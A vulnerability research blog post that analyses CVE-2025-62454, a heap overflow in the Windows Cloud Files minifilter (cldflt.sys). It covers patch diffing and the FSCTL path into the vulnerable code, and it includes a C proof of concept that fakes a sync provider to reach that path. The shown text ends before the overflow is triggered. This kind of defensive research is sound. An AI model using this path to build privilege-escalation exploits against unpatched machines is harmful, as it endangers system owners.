Post

N-Day Research: CVE-2025-62454 Root Cause Analysis. Understanding a Heap Buffer Overflow in the Cloud File System Minifilter

N-Day Research: CVE-2025-62454 Root Cause Analysis. Understanding a Heap Buffer Overflow in the Cloud File System Minifilter

Introduction

In this post I will walk through the root cause analysis of a vulnerability in a Windows minifilter driver. Along the way, I will also cover the background needed to understand what minifilter drivers are, how the Windows Cloud Files stack works, and how I reached the vulnerable code path from user mode. Without further introduction, let’s begin with the analysis.

The vulnerability analyzed here is CVE-2025-62454, a heap-based buffer overflow in the Windows Cloud Files Mini Filter Driver. The affected component is cldflt.sys.

Microsoft published the following details:

FieldValue
CVECVE-2025-62454
Vendor advisoryMicrosoft Security Update Guide
TitleWindows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
ImpactElevation of Privilege
Microsoft severityImportant
WeaknessCWE-122: Heap-based Buffer Overflow
PublishedDecember 9, 2025
CNAMicrosoft
CVSS v3.17.8 High
VectorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Before jumping into the patch diff, let’s build the context we need.

Understanding the Target

Windows Driver Types

Not every Windows driver does the same job or operates at the same level. From an architectural point of view, drivers can be grouped into three broad categories:

  1. Device drivers: These drivers communicate with physical hardware such as printers, USB devices, network cards, and other peripherals. This category also includes more precise concepts such as function drivers and bus drivers, which manage communication between a device and a specific bus such as PCIe or USB.

  2. Software kernel drivers: These drivers run in kernel mode and use kernel resources, but they are not primarily intended to talk directly to physical hardware. HEVD, for example, imitates this style of driver.

  3. Minifilter drivers: These are software drivers designed to monitor, intercept, and modify data flowing between applications and the file system stack. Like regular software drivers, they do not communicate directly with physical devices.

Drivers can be built using different models, including WDM, KMDF, and UMDF. File system minifilters use the minifilter model, which is managed by the Windows Filter Manager.

What Is a Minifilter Driver?

A minifilter driver is a file system filter driver model centrally managed by the Windows Filter Manager (fltmgr.sys).

Compared with legacy filter drivers, the minifilter model provides several important advantages: drivers are easier to unload, communication with user-mode applications is simpler, and developers can register only for the specific file system operations they care about.

At a high level, a minifilter adds extra behavior around normal file system operations such as open, create, read, write, and directory enumeration.

They act as intermediaries between applications and the file system. Because they can inspect or modify data in flight, they are commonly used for:

  • Security and protection: Antivirus and EDR products use minifilters to inspect files when a process attempts to open, create, or modify them.
  • Advanced file management: Backup tools, compression software, and transparent encryption products use minifilters to transform data before it reaches disk or before it is returned to user mode.
  • Cloud storage integration: Drivers such as cldflt.sys sit between a cloud sync engine and the local file system. They make features such as file hydration transparent to the user.

Windows Cloud Files Mini Filter Driver

Our target, cldflt.sys, is a minifilter driver responsible for cloud-related file operations such as file access, storage optimization, and synchronization.

Its main goal is to make cloud storage feel local. It provides the integration layer between NTFS and a cloud sync engine, allowing files to appear in the shell even when their real contents live remotely. It can also support additional behavior such as encryption.

The simplified flow looks like this:

  1. A user-mode application interacts with the Cloud Files API.
  2. The Cloud Files API communicates with cldflt.sys.
  3. cldflt.sys coordinates with the sync engine.
  4. The sync engine performs the heavy lifting, such as downloading or uploading file contents.

The most interesting part of this driver is its storage optimization logic. Cloud files can exist in different states:

  • Full pinned file: The file is available offline because it has been explicitly hydrated by the user.
  • Full file: The file has real contents locally, but the system may decide to dehydrate it later to save space.
  • Placeholder file: The file is only a local representation. Its real content is available through the cloud provider.

Dehydration and hydration are the core mechanisms here. Dehydration converts a full local file into a placeholder containing only metadata. Hydration reverses the process by downloading the contents again when the user or an application accesses the placeholder.

To implement this cleanly, the driver relies on reparse points. A reparse point contains driver-defined data and a reparse tag identifying the type of data stored there. Cloud placeholders use tags such as IO_REPARSE_TAG_CLOUD. When an application opens one of these files, the minifilter intercepts the operation, reads the reparse point, and coordinates hydration with the sync engine.

Initial Patch Diff

With enough background in place, we can start looking for the bug.

Microsoft’s advisory only tells us that the vulnerability is in cldflt.sys, so the first step is to compare vulnerable and patched versions of the driver. Looking at the affected Windows builds, these were the versions I cared about:

PlatformSecurity updateBuild number
Windows 11 24H2/25H2 x64507203310.0.26200.7462
Windows 10 1809 x64507154410.0.17763.8146

Why focus on two versions instead of just one? Because comparing more than one branch often makes the fix easier to isolate.

I used Winbindex to retrieve the driver versions I needed.

Winbindex results for Windows 11 cldflt.sys builds

The closest Windows 11 24H2/25H2 builds I could find differed by around 4 KB. The total driver size appears to grow from 576 KB to 580 KB, which suggests that the update contains more than a small isolated security check. In fact, the same patch also fixed other bugs in the same component.

Windows 11 is the version I focused on for reverse engineering, but Windows 10 was useful for the first patch diff because the driver size changed by only around 2 KB.

Winbindex results for Windows 10 cldflt.sys builds

For the diffing workflow I used BinDiff. To generate the disassembly databases, I used BinExport together with Ghidra 11.0.3, which was the latest Ghidra version compatible with my BinExport setup.

After analyzing both binaries in Ghidra with Microsoft’s public symbols, I exported the BinExport files and loaded them into BinDiff.

Windows 11 24H2/25H2

Changed functions:

Changed functions in the Windows 11 diff

Functions added in the patched version:

Added functions in the Windows 11 diff

One thing that stands out in the added functions list is the presence of several functions named Feature.... These are feature flags. Microsoft uses them to enable or disable new code paths dynamically. They are especially useful when shipping security fixes or behavioral changes, because they allow Microsoft to turn code paths off quickly if a regression appears.

Seeing several feature-flag-related functions strongly suggests that this patch is cumulative and contains more changes than the vulnerability I am hunting.

Windows 10 1809

Changed functions:

Changed functions in the Windows 10 diff

Functions added in the patched version:

Added functions in the Windows 10 diff

In this branch there are no obvious feature flags.

Comparing both versions, I found nine changed functions that overlap between the two diffs:

SubsystemFunctions
TelemetryTlmWriteDisallowPurgeableKernelEA, TlmWriteAccessDeniedForAddSubDirectory, TlmpWriteCv, TlmWriteCorruption
Sync and filterCldSyncConnectRoot, CldSyncDisconnectRoot, CldiPortProcessServiceCommands
Hierarchical Storage ManagementHsmiGrantLockRequest, HsmiOpUpdatePlaceholderFile

I then reviewed each match to decide where the bug was most likely to live.

The telemetry functions did not contain real security-relevant changes. Existing logic had mostly been moved into the new TlmpResetEventCounters function. I did not see heap arithmetic, allocation-size validation, or anything that looked related to a heap overflow.

The sync and filter functions contained more new code and several additional branches. They were interesting, but the changes were broader, so I left them for later.

The HSM functions were more promising:

  • HsmiOpUpdatePlaceholderFile had many modifications and references to pool allocation routines, but the first pass did not reveal anything that looked like a vulnerability fix.
  • HsmiGrantLockRequest immediately stood out. Spoiler: this is where the vulnerability lives.

After checking the smaller and more suspicious candidates first, I focused on HsmiGrantLockRequest. Let’s take a look at it. Do you notice those new blocks?

BinDiff view of HsmiGrantLockRequest

The first added block in the middle of the function receives many jumps from the ones modified below it, and is a call to ExAllocatePoolWithTag. That’s worth investigating.

Added validation block in HsmiGrantLockRequest

Looking at the lower blocks that reach this call gives us the first strong signal.

Lower modified blocks in HsmiGrantLockRequest

Allocation-related checks in the patched path

The patched logic behaves like this:

  1. It checks a feature flag. If the fix is not enabled, execution follows the old vulnerable path and calls ExAllocatePoolWithTag.
  2. If the feature flag is enabled, it enters a modified block with several checks. One block loads what looks like an NTSTATUS value into EDX, uses CMOVNC, and later aborts if an overflow was detected.
  3. If there is no overflow, execution reaches a new block with additional arithmetic and bounds checks. If the resulting value is too large, it aborts. Otherwise, it calls ExAllocatePoolWithTag.

Looking up the NTSTATUS value confirms the direction of the patch.

Integer overflow NTSTATUS lookup

At this point the smell is very strong: new integer-overflow checks, new allocation-size validation, and calls to kernel pool allocation routines.

Now let’s look at the original logic.

Original allocation logic

The allocation size passed to ExAllocatePoolWithTag follows this logic:

  1. Size = min(2, R15D)
  2. Size = Size * 2
  3. Size = Size * 8

In other words, it effectively multiplies a value by 16, but caps the value in a suspicious way.

The next question is what happens with the newly allocated memory.

Copy into the newly allocated buffer

The driver copies data into the new allocation, but at this point we neither know exactly where the source data comes from nor the details about the copy. We will answer that later.

For now, this is enough to identify HsmiGrantLockRequest as the vulnerable function. The assembly shown above comes from the Windows 10 branch because the control flow was easier to show here. The rest of the analysis focuses on Windows 11, where the allocator is ExAllocatePool2, but the vulnerability is the same.

As mentioned earlier, the same Windows update also patched other vulnerabilities in this component, such as CVE-2025-62221. That explains why several other functions contain substantial changes. The heap-based buffer overflow, however, is in HsmiGrantLockRequest.

Reaching the Vulnerable Function

Now that the vulnerable function is identified, we need to understand how to reach it.

The call tree shows several references to HsmFltPreFILE_SYSTEM_CONTROL.

Call tree for HsmiGrantLockRequest

Strictly speaking, HsmFltPreFILE_SYSTEM_CONTROL is not just a normal function. It is a minifilter callback, specifically a pre-operation callback. The vulnerable function can also be reached from other callbacks such as HsmFltPreCLEANUP, but I initially focused on HsmFltPreFILE_SYSTEM_CONTROL because it appears multiple times in the call tree and is reachable through an FSCTL from user mode.

Before following the path to the bug, a little bit more about minifilters.

DriverEntry and Minifilter Registration

As we have seen in previous posts, every Windows driver has an entry point named DriverEntry, which runs when the driver is loaded:

1
2
3
4
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject,
    _In_ PUNICODE_STRING RegistryPath
);

DriverObject points to the driver’s in-memory representation, and RegistryPath points to the driver’s registry path under the Windows registry.

In a traditional WDM driver, DriverEntry often creates a device object with IoCreateDevice, possibly creates a symbolic link with IoCreateSymbolicLink, and fills the MajorFunction array with dispatch routines for different IRP major functions.

Here is what DriverEntry looks like in cldflt.sys:

DriverEntry in cldflt.sys

This function configures stack cookies, initializes WPP tracing, sets up some globals, and then calls HsmDriverEntry. We do not see the usual WDM setup because minifilters follow a different model, with much of the complexity handled by Filter Manager.

The typical minifilter initialization flow is:

  1. Initialization: Prepare driver-specific globals, state, and resources.
  2. Registration: Call FltRegisterFilter to register the minifilter and its callbacks with Filter Manager. Its prototype looks like this:
1
2
3
4
5
NTSTATUS FLTAPI FltRegisterFilter(
  [in]  PDRIVER_OBJECT         Driver,
  [in]  const FLT_REGISTRATION *Registration,
  [out] PFLT_FILTER            *RetFilter
);
  1. Start filtering: Call FltStartFiltering to tell Filter Manager that the minifilter is ready to attach to volumes and receive requests.
  2. Unload callback: Optionally register a FilterUnloadCallback, which runs when the driver is unloaded with tools such as sc stop or fltmc unload.

The central structure passed to FltRegisterFilter is FLT_REGISTRATION:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct _FLT_REGISTRATION {
  USHORT                                      Size;
  USHORT                                      Version;
  FLT_REGISTRATION_FLAGS                      Flags;
  const FLT_CONTEXT_REGISTRATION              *ContextRegistration;
  const FLT_OPERATION_REGISTRATION            *OperationRegistration;
  PFLT_FILTER_UNLOAD_CALLBACK                 FilterUnloadCallback;
  PFLT_INSTANCE_SETUP_CALLBACK                InstanceSetupCallback;
  PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK       InstanceQueryTeardownCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownStartCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownCompleteCallback;
  PFLT_GENERATE_FILE_NAME                     GenerateFileNameCallback;
  PFLT_NORMALIZE_NAME_COMPONENT               NormalizeNameComponentCallback;
  PFLT_NORMALIZE_CONTEXT_CLEANUP              NormalizeContextCleanupCallback;
  PFLT_TRANSACTION_NOTIFICATION_CALLBACK      TransactionNotificationCallback;
  PFLT_NORMALIZE_NAME_COMPONENT_EX            NormalizeNameComponentExCallback;
  PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback;
} FLT_REGISTRATION, *PFLT_REGISTRATION;

The most important fields for this analysis are:

  • Setup and teardown callbacks such as InstanceSetupCallback and InstanceTeardownStartCallback.
  • OperationRegistration, a pointer to an array of FLT_OPERATION_REGISTRATION structures.

Each FLT_OPERATION_REGISTRATION describes one I/O operation the minifilter wants to intercept:

1
2
3
4
5
6
7
typedef struct _FLT_OPERATION_REGISTRATION {
  UCHAR                            MajorFunction;
  FLT_OPERATION_REGISTRATION_FLAGS Flags;
  PFLT_PRE_OPERATION_CALLBACK      PreOperation;
  PFLT_POST_OPERATION_CALLBACK     PostOperation;
  PVOID                            Reserved1;
} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;

The structure identifies the major function, such as IRP_MJ_CREATE, IRP_MJ_READ, or IRP_MJ_WRITE, and stores the corresponding pre-operation and post-operation callbacks.

Callbacks

Minifilter callbacks can be thought of as a modern, structured form of file-system hooking. They allow a driver to register routines that execute automatically when specific file system events occur. A minifilter does not need to register callbacks symmetrically: it can register a post-operation callback without a pre-operation callback, or the other way around.

There are two main callback types in a minifilter I/O flow.

Pre-operation callbacks

HsmFltPreFILE_SYSTEM_CONTROL (the one we identified as the main entry point to the vulnerable function) is a pre-operation callback. These routines run before the I/O operation completes and decide what should happen to the request.

A pre-operation callback can return values such as:

  • FLT_PREOP_COMPLETE: The minifilter completes the I/O operation itself. The request is not sent to lower drivers, and post-operation callbacks are not called.
  • FLT_PREOP_SUCCESS_WITH_CALLBACK: The operation continues down the stack, and Filter Manager will call this minifilter’s post-operation callback when the I/O completes.
  • FLT_PREOP_PENDING: The operation remains pending until the minifilter calls FltCompletePendedPreOperation.

Post-operation callbacks

Post-operation callbacks run after lower drivers in the stack finish processing the operation. They are called in reverse altitude order, from the lowest-altitude driver to the highest-altitude driver.

Common return values include:

  • FLT_POSTOP_FINISHED_PROCESSING: The minifilter is done, and Filter Manager can continue completion processing.
  • FLT_POSTOP_MORE_PROCESSING_REQUIRED: The minifilter has paused completion processing and will later call FltCompletePendedPostOperation.

One important detail is that post-operation callbacks can run in an arbitrary thread context at IRQL <= DISPATCH_LEVEL. Data used at this level must live in nonpaged memory, because touching pageable memory at elevated IRQL can crash the system.

HsmDriverEntry

HsmDriverEntry is a large function, so I will only show the relevant parts.

The function performs several groups of initialization work:

  1. Telemetry and diagnostics initialization, including ETW and WPP setup.
  2. Environment and OS-state checks.
  3. Dynamic configuration of the FLT_REGISTRATION structure.

Dynamic FLT_REGISTRATION setup

  1. Filter registration and resource allocation. The driver registers itself, initializes several lookaside lists with ExInitializePagedLookasideList, and calls FltInitExtraCreateParameterLookasideList for ECP-related storage.

Filter registration and resource allocation

  1. Start filtering. If everything succeeds, the driver announces that it is ready to process requests.

Start filtering path

Going back to the callbacks registered in the OperationRegistration field, if we apply the right structure type in Ghidra we can see the minifilter’s callback array.

FLT_OPERATION_REGISTRATION array

This minifilter registers 16 elements. One of them is the entry point we care about:

FILE_SYSTEM_CONTROL callback registration

For major function 0x0d, the driver registers both pre and post callbacks for FILE_SYSTEM_CONTROL.

In Windows, IRP_MJ_FILE_SYSTEM_CONTROL is commonly used by file system drivers to handle specialized control requests known as FSCTLs. Unlike regular read or write operations, FSCTLs interact with management, configuration, and metadata features of the underlying file system.

By registering callbacks for this major function, a minifilter can intercept, monitor, modify, or block those specialized requests before they reach the file system, or process their results afterwards.

To interact with this callback from user mode, we need a handle to a file system object, either a file or a volume, and we need to send an FSCTL together with our input buffer. The standard Windows API for sending both IOCTLs and FSCTLs is DeviceIoControl.

Now that we understand how the driver registers itself and which callback gives us a path toward the vulnerability, let’s inspect HsmFltPreFILE_SYSTEM_CONTROL.

HsmFltPreFILE_SYSTEM_CONTROL

Minifilter pre-operation callbacks use this signature:

1
2
3
4
5
FLT_PREOP_CALLBACK_STATUS PfltPreOperationCallback(
  [in, out] PFLT_CALLBACK_DATA Data,
  [in]      PCFLT_RELATED_OBJECTS FltObjects,
  [out]     PVOID *CompletionContext
);
  • Data: Pointer to an FLT_CALLBACK_DATA structure for the I/O operation.
  • FltObjects: Pointer to an FLT_RELATED_OBJECTS structure containing opaque pointers for objects related to the request.
  • CompletionContext: Optional context passed to the matching post-operation callback when applicable. Otherwise, it must be NULL.

The structure we care about most is PFLT_CALLBACK_DATA, which represents an I/O operation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _FLT_CALLBACK_DATA {
  FLT_CALLBACK_DATA_FLAGS     Flags;
  PETHREAD                    Thread;
  PFLT_IO_PARAMETER_BLOCK     Iopb;
  IO_STATUS_BLOCK             IoStatus;
  struct _FLT_TAG_DATA_BUFFER *TagData;
  union {
    struct {
      LIST_ENTRY QueueLinks;
      PVOID      QueueContext[2];
    };
    PVOID FilterContext[4];
  };
  KPROCESSOR_MODE             RequestorMode;
} FLT_CALLBACK_DATA, *PFLT_CALLBACK_DATA;

The key field is Iopb, which points to an FLT_IO_PARAMETER_BLOCK. This structure contains the parameters for the current I/O operation:

1
2
3
4
5
6
7
8
9
10
typedef struct _FLT_IO_PARAMETER_BLOCK {
  ULONG          IrpFlags;
  UCHAR          MajorFunction;
  UCHAR          MinorFunction;
  UCHAR          OperationFlags;
  UCHAR          Reserved;
  PFILE_OBJECT   TargetFileObject;
  PFLT_INSTANCE  TargetInstance;
  FLT_PARAMETERS Parameters;
} FLT_IO_PARAMETER_BLOCK, *PFLT_IO_PARAMETER_BLOCK;

This gives us the major function, the target FILE_OBJECT, the target minifilter instance, and a large FLT_PARAMETERS union. FLT_PARAMETERS changes layout depending on the operation type, much like _IO_STACK_LOCATION in the classic IRP model.

Because we are dealing with a file system control pre-callback, the relevant part of FLT_PARAMETERS is FileSystemControl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef union _FLT_PARAMETERS {
  // More structs over here
  union {
    struct {
      PVPB           Vpb;
      PDEVICE_OBJECT DeviceObject;
    } VerifyVolume;
    struct {
      ULONG                   OutputBufferLength;
      ULONG POINTER_ALIGNMENT InputBufferLength;
      ULONG POINTER_ALIGNMENT FsControlCode;
    } Common;
    struct {
      ULONG                   OutputBufferLength;
      ULONG POINTER_ALIGNMENT InputBufferLength;
      ULONG POINTER_ALIGNMENT FsControlCode;
      PVOID                   InputBuffer;
      PVOID                   OutputBuffer;
      PMDL                    OutputMdlAddress;
    } Neither;
    struct {
      ULONG                   OutputBufferLength;
      ULONG POINTER_ALIGNMENT InputBufferLength;
      ULONG POINTER_ALIGNMENT FsControlCode;
      PVOID                   SystemBuffer;
    } Buffered;
    struct {
      ULONG                   OutputBufferLength;
      ULONG POINTER_ALIGNMENT InputBufferLength;
      ULONG POINTER_ALIGNMENT FsControlCode;
      PVOID                   InputSystemBuffer;
      PVOID                   OutputBuffer;
      PMDL                    OutputMdlAddress;
    } Direct;
  } FileSystemControl;
  // More structs over here
} FLT_PARAMETERS, *PFLT_PARAMETERS;

Even inside FileSystemControl, the layout depends on the transfer method encoded in the FSCTL. We will use that later.

Function Overview

HsmFltPreFILE_SYSTEM_CONTROL performs four important steps.

1. Initialization and pass-through mode

First, the function validates Data. If it is valid, it calls FltGetRequestorProcess(Data) to identify the user-mode process that originated the request.

Then it calls HsmOsIsPassThroughModeEnabled. If the driver is configured to ignore this process, it jumps to the exit path and lets the request continue normally down the driver stack.

Requestor process and pass-through checks

Pass-through branch

2. Stream handle context recovery

If the driver should inspect the request, it tries to retrieve the file’s stream handle context with FltGetStreamHandleContext.

This context is private minifilter state associated with an opened file. For Cloud Files, it helps the driver track whether the object is a normal file, a cloud placeholder, or something else.

If the file has no context, the driver usually ignores it. There are exceptions for critical reparse-point-related FSCTLs, including:

  • 0x9040c (FSCTL_SET_REPARSE_POINT_EX)
  • 0x900a4 (FSCTL_SET_REPARSE_POINT)
  • 0x903bc

I will refer to these as the special FSCTLs.

Special FSCTL handling

3. Tracing

The driver calls HsmpTracePreCallbackEnter to record that it has started processing this IRP through WPP tracing.

4. FSCTL dispatch

The function extracts the control code with logic equivalent to:

1
FsControlCode = Data->Iopb->Parameters.FileSystemControl.Common.FsControlCode;

In the decompiled output this appears as:

1
FsControlCode = *(uint *)((longlong)&Data->Iopb->Parameters + 0x10);

Regardless of the transfer method, that offset corresponds to FsControlCode.

Then the driver uses a large if/else chain to dispatch the FSCTL to a specific handler. This is where we find the next function we care about:

Dispatch to HsmFltProcessHSMControl

The relevant value is one of the special FSCTLs mentioned earlier: 0x903bc.

FSCTL codes, like IOCTL codes, are computed with the CTL_CODE macro:

1
2
#define CTL_CODE(DeviceType, Function, Method, Access) \
    (((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))

Reversing 0x903bc gives:

  • DeviceType: 0x0009 (FILE_DEVICE_FILE_SYSTEM)
  • Access: 0 (FILE_ANY_ACCESS)
  • Function: 0xEF
  • Method: 0 (METHOD_BUFFERED)

The function number 0xEF does not appear to be publicly defined in ntifs.h. Given the name HsmFltProcessHSMControl, it appears to be an internal control command for the Hierarchical Storage Manager.

HsmFltProcessHSMControl

HsmFltProcessHSMControl

The arguments passed to HsmFltProcessHSMControl are:

  1. Data: Pointer to PFLT_CALLBACK_DATA, the same structure received by the pre-operation callback.
  2. HsmStreamContext: Pointer to the context returned by FltGetStreamHandleContext.
  3. A pointer to the Information field inside the IO_STATUS_BLOCK, used to return information to the caller.

One of the first things this function does is call FltGetInstanceContext to retrieve the minifilter instance context.

FltGetInstanceContext call

Instance context use

Then it extracts InputSystemBuffer, checks that it is not NULL, and verifies that the input length is at least 0x8.

InputSystemBuffer validation

After that, the function starts parsing our buffer. I could not find a documented structure matching this HSM control format, so I reconstructed it through reverse engineering.

The first check compares the first DWORD of our buffer against a value that appears to be initialized at runtime, because Ghidra does not show it as a normal .data constant. We will identify that value later in the debugger.

Next, the function extracts an operation code and uses it in a large switch/case to decide which operation to run. It also retrieves InputBufferLength and OutputBufferLength from the IRP again.

HSM control header parsing

Then it checks the input length against 0x98. The earlier check required at least 0x8; this one appears to require the full size of the internal HSM control structure. From now on I will refer to it as HSM_CONTROL_STRUCT.

Input buffer length check

After this validation, the switch/case starts. To reach the next interesting function, HsmFltProcessLockProperties, we need to provide operation code 0xc0000021.

Operation code leading to HsmFltProcessLockProperties

Before continuing the static analysis, I wanted to build an initial PoC and confirm in the debugger that I could reach this part of the code. For that, I needed to discover the value expected in the first four bytes of HSM_CONTROL_STRUCT, which we pass through InputSystemBuffer from user mode.

Initial PoC

If our PoC simply opens a handle to an arbitrary file and sends the FSCTL, it will not work.

Why? Because, as discussed in the introduction, cldflt.sys is an intermediary between NTFS and a cloud sync engine. If it attempted to process every FSCTL for every file on disk, system performance would fall apart. To avoid this, the minifilter follows a strict rule: it only processes operations on files located inside a directory officially registered as a Sync Root.

Going back to HsmFltPreFILE_SYSTEM_CONTROL, there were two critical checks before the FSCTL switch/case: HsmOsIsPassThroughModeEnabled and FltGetStreamHandleContext.

To bypass those gates and force the kernel to route our buffer into the interesting HSM control path, the PoC must act like a fake sync provider. Microsoft gives us a native way to do this through the Cloud Files API (cfapi.h).

The PoC needs four steps.

1. Register the Sync Root

First, create a physical directory, for example C:\Users\Public\SYNC_ROOT_TEST, and register it with CfRegisterSyncRoot.

This tells the operating system that everything inside that directory is managed by a cloud provider. During registration, we configure CF_SYNC_POLICIES as permissively as possible: partial hydration, hard links, unrestricted placeholder management, and so on. This prevents the driver from blocking later operations because of policy restrictions.

Once the directory is registered, Filter Manager will attach the expected cloud context to files created inside it. When cldflt.sys calls FltGetStreamHandleContext, it will see a valid context and continue execution.

2. Connect the Process to the Filter

Registration is not enough. We also need to call CfConnectSyncRoot.

This opens a communication channel between our user-mode process and the kernel minifilter. Even with an empty callback table as one of its arguments, this tells the driver that our process is the legitimate sync provider responsible for managing that folder.

Without this connection, the driver would treat us as an ordinary process, enable pass-through mode, and forward the request to disk without processing our internal HSM command.

3. Open a Valid Handle to the Target File

Now the environment is ready. The directory is controlled by the minifilter and our process is connected as the provider.

The next step is to create a physical target file, target.txt, inside the Sync Root using the normal Windows API (CreateFile). This also gives us a handle to the file.

Because the file is created inside the monitored directory, it inherits the cloud context we need.

4. Reconstruct the HSM Structure and Send the FSCTL

With a valid handle, we prepare the input buffer and call DeviceIoControl with the special FSCTL discovered earlier: 0x903bc.

To reach the internal switch/case and eventually HsmFltProcessLockProperties, the input buffer must satisfy the checks in HsmFltProcessHSMControl:

  1. Size: The input buffer must be at least 0x98 bytes.
  2. Magic value: The first DWORD must contain the HSM validation value expected by the driver. This is the one we want to obtain.
  3. Operation code: The next DWORD must contain 0xC0000021, the operation code that reaches the lock-property path.

This is the first PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <windows.h>
#include <stdio.h>
#include <cfapi.h>

#pragma comment(lib, "Cldapi.lib")

#define FSCTL_CODE 0x903BC
#define HSM_CONTROL_VALUE 0x13371337 // Dummy, only for the test
#define OPCODE 0xC0000021

typedef struct HSM_CONTROL_STRUCT {
    DWORD HsmControlValue;
    DWORD FsCtlCode;
    // Probably has more fields, but this is enough right now
} HSM_CONTROL_STRUCT;


int main() {

    // Define the public path for the Sync Root
    LPCWSTR SyncRootPath = L"C:\\Users\\Public\\SYNC_ROOT_TEST";

    // Folder creation
    CreateDirectoryW(SyncRootPath, NULL);

    // Configure the provider
    CF_SYNC_REGISTRATION Registration = { 0 };
    Registration.StructSize = sizeof(Registration);
    Registration.ProviderName = L"RotceCloud";
    Registration.ProviderVersion = L"1.0";

    // Configure very permissive policies
    CF_SYNC_POLICIES Policies = { 0 };
    Policies.StructSize = sizeof(Policies);
    Policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    Policies.InSync = CF_INSYNC_POLICY_NONE;
    Policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
    Policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    Policies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CREATE_UNRESTRICTED |
        CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED |
        CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    printf("[+] Registering Sync Root in: %ls\n", SyncRootPath);

    // Register it
    HRESULT hr = CfRegisterSyncRoot(SyncRootPath, &Registration, &Policies, CF_REGISTER_FLAG_NONE);
    if (FAILED(hr)) {
        printf("[-] Error registering. HRESULT: 0x%08X\n", hr);
        return -1;
    }
    printf("[+] Sync Root registered.\n");

    // Connect it to the driver
    CF_CALLBACK_REGISTRATION callbackTable[] = { CF_CALLBACK_REGISTRATION_END };
    CF_CONNECTION_KEY key = { 0 };

    hr = CfConnectSyncRoot(SyncRootPath, callbackTable, NULL, CF_CONNECT_FLAG_NONE, &key);
    if (FAILED(hr)) {
        printf("[-] Error connecting. HRESULT: 0x%08X\n", hr);
        return -1;
    }

    printf("[+] Driver cldflt.sys connected and monitoring folder.\n");

    // Create a physical file that will serve as our target file
    LPCWSTR TestFilePath = L"C:\\Users\\Public\\SYNC_ROOT_TEST\\target.txt";

    HANDLE hFile = CreateFileW(TestFilePath, GENERIC_READ | GENERIC_WRITE,
                               FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                               CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Error creating the file.\n");
        CloseHandle(hFile);
        return -1;
    }
    printf("[+] Target file created successfully.\n");

    printf("[+] Sending the FSCTL code.\n");

    // Trigger the path we want to inspect
    HSM_CONTROL_STRUCT Struct;
    Struct.HsmControlValue = HSM_CONTROL_VALUE;
    Struct.FsCtlCode = OPCODE;

    DWORD bytesReturned = 0;

    BOOL bResult = DeviceIoControl(
        hFile,
        FSCTL_CODE,
        &Struct,
        0x98,
        NULL,
        0,
        &bytesReturned,
        NULL
    );

    if (!bResult) {
        printf("[-] Error sending the FSCTL code. Error: 0x%lu\n", GetLastError());
        return -1;
    }

    printf("[+] The FSCTL was sent correctly.\n");

    // Cleanup
    printf("[*] Cleaning up the environment and leaving the program...\n");

    CfDisconnectSyncRoot(key);
    CfUnregisterSyncRoot(SyncRootPath);
    DeleteFileW(TestFilePath);
    RemoveDirectoryW(SyncRootPath);

    return 0;
}

Running this in a VM with the vulnerable driver confirms that the Sync Root is registered, the file is created, and the FSCTL reaches the driver.

I placed a breakpoint at the comparison against the value we are trying to identify: HSM_CONTROL_VALUE.

Breakpoint at the HSM control value comparison

HSM control value comparison in WinDbg

There it is. HsmFltProcessHSMControl checks that the first DWORD in our structure is 0x9000001A. Because the test PoC used 0x13371337, execution skipped the interesting switch/case.

According to Microsoft’s documentation, 0x9000001A is IO_REPARSE_TAG_CLOUD, described as:

“Used by the Cloud Files filter, for files managed by a sync engine such as Microsoft OneDrive. Server-side interpretation only, not meaningful over the wire.”

So this first check expects the Cloud Files reparse tag in the HSM control buffer. The rest of the path still depends on the file being under a valid Sync Root and having the expected Cloud Files context.

After updating the PoC with this value, we can reach the functions we care about.

Updated PoC reaches the expected branch

Updated PoC reaches the lock-property path

Let’s return to Ghidra.

HsmFltProcessLockProperties

Before reaching the vulnerable function, the driver passes our request through HsmiOpPrepareOperation.

HsmiOpPrepareOperation

This function uses a permission mask, 0x180, to validate that we own the file. More importantly, it calls HsmpCtxGetOrCreateFileContext to attach a 240-byte context in the NonPaged Pool to our file.

If the PoC did not use the Cloud Files API correctly, this gate would reject us. Because the setup presented is valid, execution continues into HsmFltProcessLockProperties.

HsmFltProcessLockProperties

The parameters passed to this function are:

  1. OperationCode: Our opcode, 0xc0000021.
  2. InstanceContext: The minifilter instance context.
  3. TargetFileObject: Our target file, target.txt.
  4. HsmStreamCtxt: The stream context.
  5. StreamHsmData: Pointer to internal HSM data.
  6. OutFileContext: The file context returned by HsmiOpPrepareOperation.
  7. local_90: Previous status information.
  8. Data: The original callback data for the IRP.
  9. InputSystemBuffer: Our payload, HSM_CONTROL_STRUCT.
  10. InputBufferLen: The payload size, for example 0x98.

